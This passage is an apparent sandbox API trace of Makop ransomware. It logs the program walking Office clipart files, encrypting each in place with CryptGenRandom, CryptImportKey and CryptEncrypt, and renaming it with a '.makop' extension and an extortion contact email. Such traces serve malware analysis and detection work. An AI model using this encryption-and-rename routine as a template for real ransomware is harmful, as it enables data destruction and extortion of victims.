lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0122.008] CloseHandle (hObject=0xf0) returned 1 [0122.008] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107718.WMF", cAlternateFileName="")) returned 1 [0122.008] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0122.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0122.009] GetProcessHeap () returned 0x48a0000 [0122.009] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0122.009] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0122.009] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0122.009] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0122.059] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0122.059] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0122.059] GetProcessHeap () returned 0x48a0000 [0122.060] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0122.060] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0122.060] CryptDestroyKey (hKey=0x48c7128) returned 1 [0122.060] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0122.060] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0122.060] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0122.060] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0122.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0122.061] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0122.061] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0122.061] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0122.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.061] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xed8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xed8, lpOverlapped=0x0) returned 1 [0122.061] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xee0, dwBufLen=0xee0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xee0) returned 1 [0122.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.062] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xee0, lpOverlapped=0x0) returned 1 [0122.062] CryptDestroyKey (hKey=0x48c7128) returned 1 [0122.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.062] SetEndOfFile (hFile=0xf0) returned 1 [0122.069] GetProcessHeap () returned 0x48a0000 [0122.069] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0122.069] GetProcessHeap () returned 0x48a0000 [0122.069] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0122.070] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0122.070] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0122.071] CloseHandle (hObject=0xf0) returned 1 [0122.072] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2044, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107722.WMF", cAlternateFileName="")) returned 1 [0122.074] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0122.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0122.075] GetProcessHeap () returned 0x48a0000 [0122.076] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0122.076] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0122.076] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0122.076] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0122.080] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0122.080] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0122.080] GetProcessHeap () returned 0x48a0000 [0122.080] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0122.080] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0122.080] CryptDestroyKey (hKey=0x48c7128) returned 1 [0122.080] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0122.080] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0122.081] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0122.081] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0122.081] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0122.081] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0122.081] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0122.081] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0122.081] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.082] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2044, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2044, lpOverlapped=0x0) returned 1 [0122.083] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2050, dwBufLen=0x2050 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2050) returned 1 [0122.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.084] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2050, lpOverlapped=0x0) returned 1 [0122.084] CryptDestroyKey (hKey=0x48c7128) returned 1 [0122.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.084] SetEndOfFile (hFile=0xf0) returned 1 [0122.091] GetProcessHeap () returned 0x48a0000 [0122.091] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0122.091] GetProcessHeap () returned 0x48a0000 [0122.091] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0122.091] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0122.091] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0122.093] CloseHandle (hObject=0xf0) returned 1 [0122.093] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107724.WMF", cAlternateFileName="")) returned 1 [0122.093] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0122.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0122.094] GetProcessHeap () returned 0x48a0000 [0122.094] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0122.094] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0122.094] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0122.094] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0122.098] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0122.099] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0122.099] GetProcessHeap () returned 0x48a0000 [0122.099] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0122.099] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0122.099] CryptDestroyKey (hKey=0x48c7128) returned 1 [0122.099] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0122.099] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0122.099] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0122.099] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0122.100] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0122.100] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0122.100] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0122.100] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0122.100] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.100] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b68, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b68, lpOverlapped=0x0) returned 1 [0122.102] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b70, dwBufLen=0x1b70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b70) returned 1 [0122.102] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.102] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b70, lpOverlapped=0x0) returned 1 [0122.102] CryptDestroyKey (hKey=0x48c7128) returned 1 [0122.102] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.102] SetEndOfFile (hFile=0xf0) returned 1 [0122.108] GetProcessHeap () returned 0x48a0000 [0122.108] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0122.109] GetProcessHeap () returned 0x48a0000 [0122.109] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0122.109] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0122.109] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0122.112] CloseHandle (hObject=0xf0) returned 1 [0122.112] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1574, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107728.WMF", cAlternateFileName="")) returned 1 [0122.112] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0122.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0122.113] GetProcessHeap () returned 0x48a0000 [0122.113] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0122.113] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0122.113] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0122.113] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0122.131] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0122.131] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0122.131] GetProcessHeap () returned 0x48a0000 [0122.131] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0122.131] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0122.131] CryptDestroyKey (hKey=0x48c7128) returned 1 [0122.131] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0122.131] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0122.132] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0122.132] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0122.132] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0122.132] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0122.132] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0122.132] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0122.132] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.132] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1574, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1574, lpOverlapped=0x0) returned 1 [0122.134] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1580, dwBufLen=0x1580 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1580) returned 1 [0122.134] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.134] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1580, lpOverlapped=0x0) returned 1 [0122.134] CryptDestroyKey (hKey=0x48c7128) returned 1 [0122.135] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.135] SetEndOfFile (hFile=0xf0) returned 1 [0122.150] GetProcessHeap () returned 0x48a0000 [0122.151] HeapFree (in: hHeap=0x48a0000, 